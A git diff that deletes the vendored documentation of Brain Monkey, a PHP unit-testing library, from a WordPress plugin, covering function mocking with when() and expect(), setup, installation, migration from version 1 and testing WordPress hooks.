- -Of course, expectation on the times a function should run can be combined with arguments expectation. - -## Expectations on received arguments - -Below a few examples, for the full story see [Mockery docs](http://docs.mockery.io/en/latest/reference/argument_validation.html). - -```php -// allow anything -Functions\expect('function_name') - ->once() - ->withAnyArgs(); - -// allow nothing -Functions\expect('function_name') - ->once() - ->withNoArgs(); - -// validate specific arguments -Functions\expect('function_name') - ->once() - ->with('arg_1', 'arg2'); - -// validate specific argument types -Functions\expect('function_name') - ->times(3) - ->with(Mockery::type('resource'), Mockery::type('int')); - -// validate anything in specific places -Functions\expect('function_name') - ->zeroOrMoreTimes() - ->with(Mockery::any()); - -// validate a set of given arguments -Functions::expect('function_name') - ->once() - ->with(Mockery::anyOf('a', 'b', 'c')); - -// regex validation -Functions\expect('function_name') - ->once() - ->with('/^foo/'); - -// excluding specific values -Functions\expect('function_name') - ->once() - ->with(Mockery::not(2, 3)); - -// dealing with array arguments -Functions\expect('function_name') - ->once() - ->with(Mockery::hasKey('foo'), Mockery::contains('bar', 'baz')); -``` - -## Forcing behavior - -Excluding `shouldReceive`, all the Mockery expectation methods can be used with Brain Monkey, including `andReturn` or `andReturnUsing` used to enforce a function to return specific values during tests. - -In fact, `Functions\when()` do same thing for simple cases when no expectations are required. - -Again, just a few examples: - -```php -// return a specific value -Functions\expect('function_name') - ->once() - ->with('foo', 'bar') - ->andReturn('Baz!'); - -// return values in order -Functions\expect('function_name') - ->twice() - ->andReturn('First time I run', 'Second time I run'); - -// return values in order, alternative -Functions\expect('function_name') - ->twice() - ->andReturnValues(['First time I run', 'Second time I run']); - -// return noting -Functions::expect('function_name') - ->twice() - ->andReturnNull(); - -// use a callback for returning a value -Functions\expect('function_name') - ->atLeast() - ->once() - ->andReturnUsing(function() { - return 'I am an alias!'; - }); - -// makes function throws an Exception (e.g. to test try statements) -Functions\expect('function_name') - ->once() - ->andThrow('RuntimeException'); // Both exception names and object are supported -``` - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-setup.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-setup.md deleted file mode 100644 index 307d0324..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-setup.md +++ /dev/null @@ -1,79 +0,0 @@ -# Setup for functions testing - -## Testing framework agnostic - -Brain Monkey can be used with any testing framework. - -Examples in this page will use PHPUnit, but the concepts are applicable at any testing framework. - -## Warning - -Brain Monkey uses [Patchwork](http://patchwork2.org/) to redefine functions. - -Brain Monkey 2.\* requires Patchwork 2 which allows to re-define both userland and core functions, with some [limitations](http://patchwork2.org/limitations/). - -The main limitations that affects Brain Monkey are \(from Patchwork website\): - -* _Patchwork will fail on every attempt to redefine an internal function that is missing from the redefinable-internals array of your `patchwork.json`._ -* _Make sure that Patchwork is imported as early as possible, since any files imported earlier, including the one from which the importing takes place, will be missed by Patchwork's code preprocessor._ - -## Setup tests - -After Brain Monkey is part of the project \(see _Getting Started / Installation_\), to be able to use its features two simple steps are needed before being able to use Brain Monkey in tests: - -1. be sure to require Composer autoload file _before_ running tests \(e.g. PHPUnit users will probably require it in their bootstrap file\). -2. call the function `Brain\Monkey\tearDown()` after any test - -### PHPUnit example - -Let's take PHPUnit as example, the average test case class that uses Brain Monkey would be something like: - -```php -use PHPUnit_Framework_TestCase; -use Mockery\Adapter\Phpunit\MockeryPHPUnitIntegration; -use Brain\Monkey; - -class MyTestCase extends PHPUnit_Framework_TestCase -{ - // Adds Mockery expectations to the PHPUnit assertions count. - use MockeryPHPUnitIntegration; - - protected function tearDown() - { - Monkey\tearDown(); - parent::tearDown(); - } -} -``` - -After that for all test classes can extend this class instead of directly extending `PHPUnit_Framework_TestCase`. - -That's all. Again, I used PHPUnit for the example, but any testing framework can be used. - -For function mocking and testing there are two entry-point functions: - -* **`Functions\when()`** -* **`Functions\expect()`** - -See dedicated documentation pages. - -## Namespaced functions - -All the code examples in this documentation make use of functions in global namespace. - -However, note that namespaced functions are supported as well, just be sure to pass the fully qualified name of the functions: - -```php -Functions\expect('a_global_function'); - -Functions\expect('My\\App\\awesome_function'); -``` - -## Note for WordPressers - -Anything said in this page is fine for WordPress functions too, they are PHP functions, after all. - -However, Brain Monkey has specific features for WordPress, and there is a way to setup tests for **all** Brain Monkey features \(WordPress-specific and not\). - -**If you want to use Brain Monkey to test code wrote for WordPress, it is preferable to use the setup explained in the** _**"WordPress / Setup"**_ **section that** _**includes**_ **the setup needed to use Brain Monkey tools for functions.** - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-when.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-when.md deleted file mode 100644 index ec4d3402..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-when.md +++ /dev/null @@ -1,96 +0,0 @@ -# Patching functions with when\(\) - -The first way Brain Monkey offers to monkey patch a function is `Functions\when()`. - -This function has to be used to **set a behavior** for functions. - -`when()` and 5 related methods are used to define functions \(if not defined yet\) and: - -* make them return a specific value -* make them return one of the received arguments -* make them echo a specific value -* make them echo one of the received arguments -* make them behave just like another callback - -For the sake of readability, in all the code samples below I'll assume that an `use` statement is in place: - -```php -use Brain\Monkey\Functions; -``` - -Don't forget to add it in your code as well, or use the fully qualified class name. - -Also be sure to read the _PHP Functions / Setup_ section that explain how setup Brain Monkey for usage in tests. - -## `justReturn()` - -By using `when()` in combination with `justReturn()` you can make a \(maybe\) undefined function _just return_ a given value: - -```php -Functions\when('a_undefined_function')->justReturn('Cool!'); - -echo a_undefined_function(); // echoes "Cool!" -``` - -Without passing a value to `justReturn()` the target function will return nothing \(`null`\). - -## `returnArg()` - -This other `when`-related method is used to make the target function return one of the received arguments, by default the first. - -```php -Functions\when('give_me_the_first')->returnArg(); // is the same of ->returnArg(1) -Functions\when('i_want_the_second')->returnArg(2); -Functions\when('and_the_third_for_me')->returnArg(3); - -echo give_me_the_first('A', 'B', 'C'); // echoes "A" -echo i_want_the_second('A', 'B', 'C'); // echoes "B" -echo and_the_third_for_me('A', 'B', 'C'); // echoes "C" -``` - -Note that if the target function does not receive the desired argument, `returnArg()` throws an exception: - -```php -Functions\when('needs_the_third')->returnArg(3); - -// throws an exception because required 3rd argument, but received 2 -echo needs_the_third('A', 'B'); -``` - -## `justEcho()` - -Similar to `justReturn()`, it makes the mocked function echo some value instead of returning it. - -```php -Functions\when('a_undefined_function')->justEcho('Cool!'); - -a_undefined_function(); // echoes "Cool!" -``` - -## `echoArg()` - -Similar to `returnArg()`, it makes the mocked function echo some received argument instead of returning it. - -```php -Functions\when('echo_the_first')->echoArg(); // is the same of ->echoArg(1) -Functions\when('echo_the_second')->echoArg(2); - -echo_the_first('A', 'B', 'C'); // echoes "A" -echo_the_second('A', 'B', 'C'); // echoes "B" -``` - -## `alias()` - -The last of the when-related methods allows to make a function behave just like another callback. The replacing function can be anything that can be run: a core function or a custom one, a class method, a closure... - -```php -Functions\when('duplicate')->alias(function($value) { - return "Was ".$value.", now is ".($value * 2); -}); - -Functions\when('bigger')->alias('strtoupper'); - -echo duplicate(1); // echoes "Was 1, now is 2" -echo bigger('was lower'); // echoes "WAS LOWER" -``` - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/general/installation.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/general/installation.md deleted file mode 100644 index 18158c88..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/general/installation.md +++ /dev/null @@ -1,44 +0,0 @@ -# Installation - -To install Brain Monkey you need: - -* PHP 5.6+ -* [Composer](https://getcomposer.org) - -Brain Monkey is available on Packagist, so the only thing you need to do is to add it as a dependency for your project. - -That can be done by running following command in your project folder: - -```text -composer require brain/monkey:2.* --dev -``` - -As alternative you can directly edit your `composer.json` by adding: - -```javascript -{ - "require-dev": { - "brain/monkey": "~2.0.0" - } -} -``` - -I've used `require-dev` because, being a testing tool, Brain Monkey should **not** be included in production. - -Brain Monkey can work with any testing framework, so it doesn't require any of them. - -To run your tests you'll probably need to require a testing framework too, e.g. [PHPUnit](https://phpunit.de/) or [phpspec](https://www.phpspec.net/en/latest/). - -## Dependencies - -Brain Monkey needs 2 libraries to work: - -* [Mockery](http://docs.mockery.io/en/latest/) \(BSD-3-Clause\) -* [Patchwork](http://patchwork2.org/) \(MIT\) - -They will be installed for you by Composer. - -When installed in development mode \(to test itself\), Brain Monkey also requires: - -* [PHPUnit](https://phpunit.de/) \(MIT\) - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/more/migrating-from-v1.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/more/migrating-from-v1.md deleted file mode 100644 index 6b269370..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/more/migrating-from-v1.md +++ /dev/null @@ -1,367 +0,0 @@ -# Migration from v1 - -## \[Updated\] Patchwork Version - -Patchwork has been updated to version 2. This new version allows to redefine PHP core functions and not only custom defined functions. \(There are limitations, see [http://patchwork2.org/limitations/](http://patchwork2.org/limitations/)\). - -This new Patchwork version seems to also fix an annoying issue with undesired Patchwork cache. - -## \[Changed\] Setup Functions - BREAKING! - -On version 1 of Brain Monkey there where 4 static methods dedicated to setup: - -* `Brain\Monkey::setUp()` -> before each test that use only functions redefinition \(no WP features\) -* `Brain\Monkey::tearDown()` -> after each test that use only functions redefinition \(no WP features\) -* `Brain\Monkey::setUpWp()` -> before each test that use functions redefinition and WP features -* `Brain\Monkey::tearDownWp()` -> after each test that use functions redefinition and WP features - -This has been simplified, in fact, **only two setup functions exists in Brain Monkey v2**: - -* `Brain\Monkey\setUp()` -> before each test that use functions redefinition and WP features -* `Brain\Monkey\tearDown()` -> after each test, no matter if for functions redefinition or for also - - WP features - -Which means that for function redefinitions, only `Brain\Monkey\tearDown()` have to be called after each test, and nothing _before_ each test. - -To also use WP features, `Brain\Monkey\setUp()` have also to called before each test. - -## \[Changed\] New API - BREAKING! - -Big part of Brain Monkey is acting as a "bridge" between Mockery an Patchwork, that is, make Mockery DSL for expectations available for functions and WordPress hooks. - -To access the Mockery API, Brain Monkey v1 provided two different methods: - -1. using static methods on the `Brain\Monkey` class -2. using static methods on one of the three feature-specific classes `Brain\Monkey\Functions`, - - `Brain\Monkey\WP\Actions` or `Brain\Monkey\WP\Filters` - -For example: - -```php -// Brain Monkey v1 method one -Brain\Monkey::functions::expect('some_function'); -Brain\Monkey::actions()->expectAdded('init'); -Brain\Monkey::filters()->expectApplied('the_title'); - -// Brain Monkey v1 method two -Brain\Monkey\Functions::expect('some_function'); -Brain\Monkey\WP\Actions::expectAdded('init'); -Brain\Monkey\WP\Filters::expectApplied('the_title'); -``` - -In Brain Monkey v2 there's only one method, that makes use of **functions**: - -```php -// Brain Monkey v2 -Brain\Monkey\Functions\expect('some_function'); -Brain\Monkey\Actions\expectAdded('init'); -Brain\Monkey\Filters\expectApplied('the_title'); -``` - -### Renamed method for done actions - -For WordPress filters, there were in Brain Monkey v1 two methods: - -* `Filters::expectAdded()` -* `Filters::expectApplied()` - -named after the WordPress functions `add_filter()` / `apply_filters()` - -But for actions there were: - -* `Actions::expectAdded()` -* `Actions::expectFired()` - -`expectAdded()` pairs with `add_action()`, but `expectFired()` does not really pair with `do_action()`: this is why in Brain Monkey v2 **the method `expectFired()` has been replaced by the function `expectDone()`**. - -So, in version 2 there are total of 5 entry-point **functions** to Mockery API: - -* `Brain\Monkey\Functions\expect()` -* `Brain\Monkey\Actions\expectAdded()` -* `Brain\Monkey\Actions\expectDone()` -* `Brain\Monkey\Filters\expectAdded()` -* `Brain\Monkey\Filters\expectApplied()` - -## \[Changed\] Default Expectations Behavior - BREAKING! - -In Brain Monkey v1, expectation on the "times" an expected event happen was required. - -```php -class MyClass { - - public function doSomething() { - return true; - } -} - - -class MyClassTest extends MyTestCase { - - // this test passes in Brain Monkey v1 - public function testSomething() { - \Brain\Monkey\WP\Actions::expectAdded('init'); // this has pretty much no effect - $class = new MyClass(); - self::assertTrue($class->doSomething()); - } -} -``` - -This **test passed in Brain Monkey v1**, because even if `Actions::expectAdded()` was used, the test does not fail unless something like `Actions::expectAdded('init')->once()` was used, which made the test pass only if `add_action( 'init' )` was called once. - -The reason is that Mockery default behavior is to add a `->zeroOrMoreTimes()` as expectation on number of times a method is called, so when the expectation is called _zero times_, that's a valid outcome. - -This was somehow confusing \(because reading `expectAdded` one could _expect_ the test to fail if that thing did not happened\), and also made tests unnecessarily verbose. - -**Brain Monkey v2, set Mockery expectation default to `->atLeast()->once()`** so, for example, the test above fails in Brain Monkey v2 if `MyClass::doSomething()` does not call `add_action('init')` at least once. - -## \[Changed\] Closure String Representation - BREAKING! - -Brain Monkey allows to do some basic tests using `has_action()` / `has_filter()`, functions, to test if some portion of code have added some hooks. - -A "special" syntax, was already added in Brain Monkey v1 to permit the checking for hooks added using object instances as part of the hook callback, without having any reference to those objects. - -For example, assuming a function like: - -```php -namespace A\Name\Space; - -function test() { - - add_action('example_one', [new SomeClass(), 'aMethod']); - - add_action('example_two', function(array $foo) { /* ... */ }); -} -``` - -could be tested with in Brain Monkey v1 with: - -```php -// Brain Monkey v1: -test(); -self::assertNotFalse(has_action('example_one', 'A\Name\Space\SomeClass->aMethod()')); // pass -self::assertNotFalse(has_action('example_two', 'function()')); // pass -``` - -The syntax for string representation of callbacks including objects is unchanged in Brain Monkey v2, however, **the syntax for closures string representation has been changed to allow more fine grained control**. - -In fact, in Brain Monkey v1 _all_ the closures were represented as the string `"function()"`, in Brain Monkey v2 closure string representations also contain the parameters used in the closure signature: - -```php -// Brain Monkey v2: -test(); -self::assertNotFalse(has_action('example_one', 'A\Name\Space\SomeClass->aMethod()')); // pass -self::assertNotFalse(has_action('example_two', 'function()')); // fail! -self::assertNotFalse(has_action('example_two', 'function(array $foo)')); // pass! -``` - -The closure string representation _does_ take into account: - -* name of the parameters -* parameters type hints \(works with PHP 7+ scalar type hints\) -* variadic arguments -* `static` closures VS normal closures - -_does not_ take into account: - -* PHP 7 return type declaration -* parameters defaults -* content of the closure - -For example: - -```php -namespace A\Name\Space; - -$closure_1 = static function( array $foo, SomeClass $bar, int ...$ids ) : bool { /* */ } - -$closure_2 = function( array $foo, SomeClass $bar, array $ids = [] ) : bool { /* */ } - -// $closure_1 is represented as: -"static function ( array $foo, A\Name\Space\SomeClass $bar, int ...$ids )"; - -// $closure_2 is represented as: -"function ( array $foo, A\Name\Space\SomeClass $bar, array $ids )"; -``` - -Note how type-hints using classes always have fully qualified names in string representation. - -## \[Changed\] Relaxed `callable` check - -In Brain Monkey v1 methods and functions that accept a `callable` like, for example, second argument to `add_action()` / `add_filter()`, checked the received argument to be an actual callable PHP entity, using `is_callable`: - -```php -// this fail in Brain Monkey v1 if `SomeClass` was not available -// or if SomeClass::aMethod would not be a valid method -add_action( 'foo', [ SomeClass::class, 'aMethod' ] ); - -// this fail in Brain Monkey v1 if `Some\Name\Space\aFunction` is not available -add_action( 'bar', 'Some\Name\Space\aFunction' ); -``` - -For these reasons, it was often required to create a mock for unavailable classes or functions just to don't make Brain Monkey throw an exception, even if the mock was not used and not relevant for the test. - -Brain Monkey v2 is less strict on checking for `callable` and it accepts anything that _looks like_ a callable. - -Something like `[SomeClass::class, 'aMethod']` would be accepted even if `SomeClass` is not loaded at all, because _it looks like_ a callable. Same goes for `'Some\Name\Space\aFunction'`. - -However, something like `[SomeClass::class, 'a-Method']` or `[SomeClass::class, 'aMethod', 1]` or even `Some\Name\Space\a Function` will throw an exception because method and function names can't contain hyphens or spaces and when a callback is made of an array, it must have exactly two arguments. - -This more "relaxed" check allows to save creation of mocks that are not necessary for the logic of the test. - -It worth noting that when doing something like `[SomeClass::class, 'aMethod']` **if** the class `SomeClass` is available, Brain Monkey checks it to have an accessible method named `aMethod`, and raise an exception if not, but will not do any check if the class is not available. - -The same applies when object instances are used for callbacks, for example, using as callback argument `[$someObject, 'aMethod']`, the instance of `$someObject` is checked to have an accessible method named `aMethod`. - -## \[Fixed\] `apply_filters` Default Behavior - -The WordPress function `apply_filters()` is defined by Brain Monkey and it returns the first argument passed to it, just like WordPress: - -```php -self::assertSame('Foo', apply_filters('a_filter', 'Foo', 'Bar')); // pass! -``` - -In Brain Monkey v1 this was true _unless_ some expectation was added to the applied filter: - -```php -Brain\Monkey\WP\Filters::expectApplied('a_filter'); - -self::assertSame('Foo', apply_filters('a_filter', 'Foo', 'Bar')); // fails in v1 -``` - -**The test above fails in Brain Monkey v1**. The reason is that even if the expectation in first line is validated, it breaks the default `apply_filters` behavior, requiring the return value to be added to expectation to make the test pass again. - -For example, the following test used to pass in Brain Monkey v1: - -```php -Brain\Monkey\WP\Filters::expectApplied('a_filter')->andReturn('Foo'); - -self::assertSame('Foo', apply_filters('a_filter', 'Foo', 'Bar')); // pass -``` - -**In Brain Monkey v2 this is not necessary anymore.** - -Calling `expectApplied` on applied filters does **not** break the default behavior of `apply_filters` behavior, if no return expectations are added. - -The following test **passes in Brain Monkey v2**: - -```php -Brain\Monkey\Filters\expectApplied('a_filter')->once()->with('Foo', 'Bar'); - -self::assertSame('Foo', apply_filters('a_filter', 'Foo', 'Bar')); // pass in v2! -``` - -Please note that if any return expectation is added for a filter, return expectations must be added for all the set of arguments the filter might receive. - -For example: - -```php -Brain\Monkey\Filters\expectApplied('a_filter')->once()->with('Foo')->andReturn('Foo!'); -Brain\Monkey\Filters\expectApplied('a_filter')->once()->with('Bar'); - -self::assertSame('Foo!', apply_filters('a_filter', 'Foo')); // pass -self::assertSame('Bar', apply_filters('a_filter', 'Bar')); // fail! -``` - -The second assertion fails because since we added a return expectation for the filter "'a_filter'" we need to add return expectation for \_all_ the possible arguments. - -This task is easier in Brain Monkey v2 thanks to the introduction of `andReturnFirstArg()` expectation method \(more on this below\). - -For example: - -```php -Brain\Monkey\Filters\expectApplied('a_filter')->once()->with('Foo')->andReturn('Foo!'); -Brain\Monkey\Filters\expectApplied('a_filter')->zeroOrMoreTimes()->withAnyArgs()->andReturnFirstArg(); - -self::assertSame('Foo', apply_filters('a_filter', 'Foo', 'Bar')); // pass -self::assertSame('Bar', apply_filters('a_filter', 'Bar')); // pass! -``` - -`andReturnFirstArg()` used in combination with Mockery methods `zeroOrMoreTimes()->withAnyArgs()` allows to create a "catch all" behavior for filters when a return expectation has been added, without having to create specific expectations for each of the possible arguments a filter might receive. - -Of course, adding specific expectations for each of the possible arguments a filter might receive is still possible. - -## \[Added\] Utility Functions Stubs - -There are WordPress functions that are often used in WordPress plugins or themes that are pretty much _logicless_, but still they need to be mocked in tests if WordPress is not available. - -Brain Monkey v2 now ships stubs for those functions, so it is not necessary to mock them anymore, they are: - -* `__return_true` -* `__return_false` -* `__return_null` -* `__return_empty_array` -* `__return_empty_string` -* `__return_zero` -* `trailingslashit` -* `untrailingslashit` - -Those functions do exactly what they are expected to do, even if WordPress is not loaded: some functions mocking is now saved. - -Of course, their behavior can still be mocked, e.g. to make a test fail on purpose. - -## \[Added\] Support for `doing_action()` and `doing_filter()` - -When adding expectation on returning value of filters, or when using `whenHappen` to respond to actions, inside the expectation callback, the function `current_filter()` in Brain Monkey v1 used to correctly resolve to the action / filter being executed. - -The functions `doing_action()` and `doing_filter()` didn't work: they were not provided at all with Brain Monkey v1 and required to be mocked "manually" . - -In Brain Monkey v2 those two functions are provided as well, and correctly return true or false when used inside the callbacks used to respond to hooks. - -## \[Added\] Method `andReturnFirstArg()` - -When adding expectations on returning value of applied filters or functions, it is now possible to use `andReturnFirstArg()` to make the Mockery expectations return first argument received. - -```php -// Brain\Monkey v2: -Brain\Monkey\Functions\expect('foo')->andReturnFirstArg(); -Brain\Monkey\Filters\expectApplied('the_title')->andReturnFirstArg(); - - -// Brain\Monkey v1: -Brain\Monkey\Functions\expect('foo')->andReturnUsing(function($arg) { - return $arg; -}); - -Brain\Monkey\Filters\expectApplied('the_title')->andReturnUsing(function($arg) { - return $arg; -}); -``` - -## \[Added\] Method `andAlsoExpectIt()` - -In Mockery, when creating expectations for multiple methods of same class, the method `getMock()` allows to do it without leaving "fluent interface chain", for example: - -```php -Mockery\mock(SomeClass::class) - ->shouldReceive('exclamation')->with('Foo')->once()->andReturn('Foo!') - ->getMock() - ->shouldReceive('question')->with('Bar')->once()->andReturn('Bar?') - ->getMock() - ->shouldReceive('invert')->with('Baz')->once()->andReturn('zaB') -``` - -The method `getMock()` is **not** available for Brain Monkey expectations. - -For this reason has been introduced `andAlsoExpectIt()`: - -```php -Brain\Monkey\Filters\expectApplied('some_filter') - ->once()->with('Hello')->andReturn('Hello!') - ->andAlsoExpectIt() - ->atLeast()->twice()->with('Hi')->andReturn('Hi!') - ->andAlsoExpectIt() - ->zeroOrMoreTimes()->withAnyArgs()->andReturnFirstArg(); -``` - -Of course, it also works in other kind of expectations, like for functions or for actions added or done. - -## \[Added\] New Exceptions Classes - -In Brain Monkey v1, when exceptions were thrown, PHP core exception classes were used, like `\RuntimeException` or `\InvalidArgumentException`, and so on. - -In Brain Monkey v2, different custom exceptions classes have been added, to make very easy to catch any error thrown by Brain Monkey. - -Now, in fact, every exception thrown by Brain Monkey is of a custom type, and there's a hierarchy of exceptions classes for a total of 16 exception classes, all inheriting \(one or more levels deep\) the "base" exception class that is `Brain\Monkey\Exception`. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/summary.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/summary.md deleted file mode 100644 index 244f4470..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/summary.md +++ /dev/null @@ -1,27 +0,0 @@ -# Table of contents - -* [Introduction](what-and-why.md) - -## General - -* [Installation](general/installation.md) - -## Functions testing tools - -* [Setup for functions testing](functions-testing-tools/functions-setup.md) -* [Patching functions with when\(\)](functions-testing-tools/functions-when.md) -* [Bulk patching with stubs\(\)](functions-testing-tools/function-stubs.md) -* [Testing functions with expect\(\)](functions-testing-tools/functions-expect.md) - -## WordPress-specific tools - -* [Why bother](wordpress-specific-tools/wordpress-why-bother.md) -* [WordPress testing tools](wordpress-specific-tools/wordpress-tools.md) -* [Setup for WordPress testing](wordpress-specific-tools/wordpress-setup.md) -* [Test added hooks](wordpress-specific-tools/wordpress-hooks-added.md) -* [Test done hooks](wordpress-specific-tools/wordpress-hooks-done.md) - -## More - -* [Migration from v1](more/migrating-from-v1.md) - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/what-and-why.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/what-and-why.md deleted file mode 100644 index e0dfa8b3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/what-and-why.md +++ /dev/null @@ -1,52 +0,0 @@ -# Introduction - -## What's Brain Monkey - -Brain Monkey is a unit test utility for PHP. - -It comes with 2 group of features: - -* the first allow **mocking and testing any PHP function**. This part is a general tool and two times framework agnostic: can be used to test code that uses any frameworks \(or no framework\) and in combination with any testing framework. -* the second group of features can be used with any testing framework as well, but is **specific to test WordPress code**. - - Who is interested in the first part can use only it, just like this second group of features does not exists. - -## Why Brain Monkey - -When unit tests are done in the right way, the SUT \(System Under Test\) must be tested in **isolation**. - -Long story short, it means that any _external_ code used in the SUT must be assumed as perfectly working. - -This is a key concept in unit tests. - -In PHP, to create "mock" and "stubs" for objects is a pretty easy task, framework like [PHPUnit](https://phpunit.de/manual/current/en/test-doubles.html) or [phpspec](https://www.phpspec.net/en/latest/manual/prophet-objects.html) have embedded features to do that, and libraries like [Mockery](https://github.com/padraic/mockery) make it even easier. - -But when _external_ code make use of **functions** things become harder, because PHP testing framework can't mock or monkey patch functions. - -This is where Brain Monkey comes into play: its aim is to bring that easiness to function testing. - -This involves: - -* define functions if not defined -* allow to enforce function behavior -* allow to set expectations on function execution - -Moreover, I have to admit that I coded Brain Monkey to test WordPress code \(that makes a large use of global functions\). - -This is the reason why Brain Monkey comes with a set of WordPress-specific tools, but the ability to monkey patch and test functions is independent from WordPress-specific tools and can be used to test any PHP code. - -### Under the hood - -Brain Monkey gets all its power from two great libraries: [**Mockery**](http://docs.mockery.io/) and [**Patchwork**](http://patchwork2.org/). - -What actually Brain Monkey does is to connect the _function redefinition_ feature of Patchwork with the powerful testing mechanism and DSL provided by Mockery, and thanks to that Brain Monkey has: - -* PHPUnit, PHPSpec or any other testing framework compatibility -* powerful and succinct API with human readable syntax - -All the rest is joy. - -### PHP versions compatibility - -Currently, Brain Monkey supports PHP 5.6+. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-hooks-added.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-hooks-added.md deleted file mode 100644 index 178ceeef..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-hooks-added.md +++ /dev/null @@ -1,271 +0,0 @@ -# Test added hooks - -With Brain Monkey there are two ways to test some hook have been added, and with which arguments. - -First method \(easier\) makes use of WordPress functions, the second \(more powerful\) makes use of Brain Monkey \(Mockery\) expectation DSL. - -## Testing framework agnostic - -Brain Monkey can be used with any testing framework. Examples in this page will use PHPUnit, but the concepts are applicable to any testing framework. - -Also note that test classes in this page extends the class `MyTestCase` that is assumed very similar to the one coded in the _WordPress / Setup_ docs section. - -## Testing with WordPress functions: `has_action()` and `has_filter()` - -When Brain Monkey is loaded for tests it registers all the functions of WordPress plugin API \(see _WordPress / WordPress Testing Tools_\). Among them there are `has_action()` and `has_filter()` that, just like _real_ WordPress functions can be used to test if some hook \(action or filter\) has been added, and also verify the arguments. - -Let's assume the code to be tested is: - -```php -namespace Some\Name\Space; - -class MyClass { - - public function addHooks() { - - add_action('init', [__CLASS__, 'init'], 20); - add_filter('the_title', [__CLASS__, 'the_title'], 99); - } -} -``` - -in Brain Monkey, just like in real WordPress code, you can test hooks are added using WordPress functions: - -```php -use Some\Name\Space\MyClass; - -class MyClassTest extends MyTestCase { - - public function testAddHooksActuallyAddsHooks() { - - ( new MyClass() )->addHooks(); - self::assertNotFalse( has_action('init', [ MyClass::class, 'init' ]) ); - self::assertNotFalse( has_filter('the_title', [ MyClass::class, 'the_title' ] ) ); - } -} -``` - -Nice thing of this approach is that you don't need to remember Brain Monkey classes and methods names, you can just use functions you, as a WordPress developer, are already used to use. - -There's more. - -A problem of WordPress hooks is that when dynamic object methods or anonymous functions are used, identify them is not easy. It's pretty hard, to be honest. - -But Brain Monkey is not WordPress, and it makes these sort of things very easy. Let's assume the code to test is: - -```php -namespace Some\Name\Space; - -class MyClass { - - public function init() { - /* ... */ - } - - public function addHooks() { - add_action('init', [ $this, 'init' ], 20); - } -} -``` - -Using real WordPress functions, to check hooks added like in code above is pretty hard, because we don't have access to `$this` outside of the class. - -But Brain Monkey version of `has_action` and `has_filter` allow to check this cases with a very intuitive syntax: - -```php -class MyClassTest extends MyTestCase -{ - public function testAddHooksActuallyAddsHooks() - { - $class = new \Some\Name\Space\MyClass\MyClass(); - $class->addHooks(); - - self::assertSame( 20, has_action( 'init', 'Some\Name\Space\MyClass->init()' ) ); - } -} -``` - -So we have identified a dynamic method by using the class name, followed by `->` and the method name followed by parenthesis. - -Moreover - -* a static method can be identified by the class name followed by `::` and the method name followed by parenthesis, e.g. `'Some\Name\Space\MyClass::init()'` -* an invokable object \(a class with a `__invoke()` method\) can be identified by the class name followed by parenthesis, e.g. `'Some\Name\Space\MyClass()'` - -Note that fully qualified names of classes are used and namespace. - -### Identify Closures - -One tricky thing when working with hooks and closures in WordPress is that they are hard to identify, for example to remove or even to check via `has_action()` / `has_filter()` if a specific closure has been added to an hook. - -Brain Monkey makes this a bit easier thanks to a sort of "serialization" of closures: a closure can be identified by a string very similar to the PHP code used to define the closure. Hopefully, an example will make it more clear. - -Assuming a code like: - -```php -namespace Some\Name\Space; - -class MyClass { - - public function addHooks() { - - add_filter('the_title', function($title) { - return $title; - }, 99); - } -} -``` - -It could be tested with: - -```php -class MyClassTest extends MyTestCase -{ - public function testAddHooksActuallyAddsHooks() - { - $class = new \Some\Name\Space\MyClass(); - $class->addHooks(); - - self::assertNotFalse( has_filter('the_title', 'function ($title)' ) ); - } -} -``` - -It also works with type-hints and variadic arguments. E.g. a closure like: - -```php -namespace Foo\Bar; - -function( array $foo, Baz $baz, Bar ...$bar) { - // .... -} -``` - -could be identified like this: - -```php -'function ( array $foo, Foo\Bar\Baz $baz, Foo\Bar\Bar ...$bar )'; -``` - -Just note how classes used in type-hints were using _relative_ namespace on declaration, always need the fully qualified name in the closure string representation. - -PHP 7+ scalar type hints are perfectly supported. - -The serialization also recognizes `static` closures. Following closure: - -```php -static function( int $foo, Bar ...$bar ) { - // .... -} -``` - -could be identified like this: - -```php -'static function ( int $foo, Bar ...$bar )'; -``` - -Things that are **not** took into account during serialization: - -* default values for arguments -* PHP 7+ return type declarations - -For example **all** following closures: - -```php -function( array $foo, $bar ) { - // .... -} - -function( array $foo = [], $bar = null ) { - // .... -} - -function( array $foo, $bar ) : array { - // .... -} - -function( array $foo, $bar = null ) : array { - // .... 